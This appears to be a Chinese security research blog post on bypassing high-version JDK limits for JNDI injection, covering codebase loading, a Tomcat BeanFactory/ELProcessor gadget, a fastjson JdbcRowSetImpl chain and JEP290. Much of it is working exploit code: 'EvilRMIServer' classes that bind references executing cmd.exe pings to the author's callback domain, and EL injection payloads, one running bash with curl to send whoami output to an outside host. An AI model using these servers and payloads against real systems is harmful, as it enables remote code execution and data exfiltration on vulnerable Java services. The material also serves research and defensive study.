java/绕过高版本的ldap+rmi/1

绕过高版本jdk限制进行jndi注入利用

JDK 6u141, JDK 7u131, JDK 8u121 之前

0x01 关于JNDI Naming Reference的限制

JDK 7u21开始,java.rmi.server.useCodebaseOnly 默认值就为true,防止RMI客户端VM从其他Codebase地址上动态加载类。然而JNDI注入中的Reference Payload并不受useCodebaseOnly影响,因为它没有用到 RMI Class loading,它最终是通过URLClassLoader加载的远程类。

NamingManager.java(1.8.221)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

代码中会先尝试在本地CLASSPATH中加载类clas = helper.loadClass(factoryName);不行再从Codebase中加载clas = helper.loadClass(factoryName, codebase);Codebase的值是通过ref.getFactoryClassLocation()获得。

1、我们先进从本地获取的方法,这里的helper是VersionHelper12类,跟进getContextClassLoader方法,最后是通过Thread.currentThread().getContextClassLoader方法返回loader对象Launcher$AppClassLoader这个静态内部类是继承URLClassloader的。

image-20210824112543578

image-20210824112842700

image-20210824112555709

2、 第二种是远程加载的方式 就是第二行代码

也就是本地ClassLoader找不到这个类,最后通过 VersionHelper12.loadClass() 中 URLClassLoader 加载了远程class。本地不存在这个类,从codebase中获取。所以java.rmi.server.useCodebaseOnly不会限制JNDI Reference的利用,有影响的是高版本JDK中的这几个系统属性:

  • com.sun.jndi.rmi.object.trustURLCodebase
  • com.sun.jndi.cosnaming.object.trustURLCodebase
  • com.sun.jndi.ldap.object.trustURLCodebase

0x02 关于codebase

Oracle官方关于Codebase的说明:https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html

Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。

当对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。在大多数情况下,你可以在命令行上通过属性 java.rmi.server.codebase 来设置Codebase。

例如,如果所需的类文件在Webserver的根目录下,那么设置Codebase的命令行参数如下(如果你把类文件打包成了jar,那么设置Codebase时需要指定这个jar文件):

1
-Djava.rmi.server.codebase=http://url:8080/

当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:

1
http://url:8080/com/project/test.class

我做了如下的测试 观看使用marshalsec-0.0.3-SNAPSHOT-all.jar这个jar包,在javax.naming.spi.NamingManager#getObjectFactoryFromReference这个方法的时候,ref参数的情况,第一张是使用jar包的。

image-20210824153434951

第二张使用如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
Integer s = (int) (Math.random() * 1000);
String ss = Integer.toString(s);
System.out.println("[*]Evil RMI Server is Listening on port: 6666");
Registry registry = LocateRegistry.createRegistry( 6666);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe', '/c', 'ping "+ ss +".sec.v1rus.top']).start()\")"));
System.out.println("[*]Evil command: ping v1rus.top");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

image-20210824153137624

可以看到,使用marshalsec-0.0.3-SNAPSHOT-all.jar是随便申明了一个ref类并且制定了basecode(classFactoryLocation字段)。

会在这里执BeanFactory的方法。

image-20210825160927544

气炸了 最后发现只能传一个参数进去。invoke传入的数组只有一个参数,还是String类型的。

image-20210825162355416

所以断了juel包的构造链,只能传入ELProcess来执行代码。后来我为了将这个服务放在公网,必须知道和实现的方法:在启动服务器的时候,实际上需要运行两个服务器,也可以理解为开启两个端口:

  • 一个是远程对象本身;也就是数据端口
  • 一个是允许客户端下载远程对象引用的注册表;也就是服务端口 默认1099

所以再加上随机数,代码如下,很烂:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMISocketFactory;


public class EvilRMIServer {
static String ss;
static String newNumber(){
Integer s = (int) (Math.random() * 1000);
ss = Integer.toString(s);
return ss;
}

public static void main(String[] args) throws Exception {
System.out.println("[*]Powered by v1rus");
System.out.println("[*]Evil RMI Server is Listening on port: 6666");
RMISocketFactory.setSocketFactory(new V1RMISocket());
Registry registry = LocateRegistry.createRegistry(xxxx);
System.setProperty("java.rmi.server.hostname","121.199.xxx.xxx");

while(true){
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe', '/c', 'ping "+ newNumber() +".sec.v1rus.top']).start()\")"));
//System.out.println("[*]Evil command: ping v1rus.top");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
Thread.sleep(3000);
registry.unbind("Object");
}

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.server.*;
import java.io.*;
import java.net.*;
public class V1RMISocket extends RMISocketFactory {
public Socket createSocket(String host, int port)
throws IOException{
return new Socket(host,port);
}
public ServerSocket createServerSocket(int port)
throws IOException {
if (port == 0)
port = xxxxx;//不指定就随机
return new ServerSocket(port);
}
}

讲个小插曲:

1
2
3
4
5
6
 "\"\".getClass()一般都是这样去获取类的  但是有个别的方式

queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022]}%2b\u0027bbb
which decodes to - queryString=aaa'+#{""["class"]}+'bbb

主要的就是""["class"]。

0x03 特地去找了一下jdbc jep290的绕过

废话不多说直接上链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
readObject:424, ObjectInputStream (java.io)
unmarshalValue:322, UnicastRef (sun.rmi.server)
invoke:174, UnicastRef (sun.rmi.server)
getReference:-1, ReferenceWrapper_Stub (com.sun.jndi.rmi.registry)
decodeObject:476, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:91, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:877, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:9, FastTest1 (fastjson)

其实主要是在这个方法进入的,不像普通的bind,rebind操作(在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_StubRegistryImpl_Skel,在服务端的RegistryImpl_Skel类中,向注册中心进行bind、rebind操作时均进行了readObject操作以此拿到Remote远程对象引用)这个是在准备decodeObject的时候,对远程对象进行一个获取的操作,才有了接下来的java.io.ObjectInputStream#readObjectjep290的绕过:

image-20210901112329971

1
serialFilter = ObjectInputFilter.Config.getSerialFilter();

這個其實就是大名鼎鼎的 JEP290 防禦機制

想绕过:

加载目标类:

Class.forName Classloader.loadClass

与ClassLoader.loadClass() 一个小小的区别是,forName() 默认会对类进行初始化,会执行类中的 static 代码块。而ClassLoader.loadClass() 默认并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中。

我们执行如下测试代码:

先了解Java 中创建对象的方法大概有下面这七种:

  • 使用 new 关键字
  • Class 类的 newInstance() 方法
  • Constructor 类的 newInstance() 方法
  • Object 对象的 clone 方法
  • 反序列化创建对象
  • 使用 Unsafe 类创建对象
  • 通过工厂方法返回对象,如:String str = String.valueOf(23);
1
{""["class"].forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var x=new java.lang.ProcessBuilder;x.command(['cmd.exe','/c','ping "+ "2"+ ss +".sec.v1rus.top']);x.start()")}
1
#{"1".getClass ().getClass ().getMethods()[0].invoke("".getClass (), "javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','curl http://192.168.*.*/`whoami`']).start()")}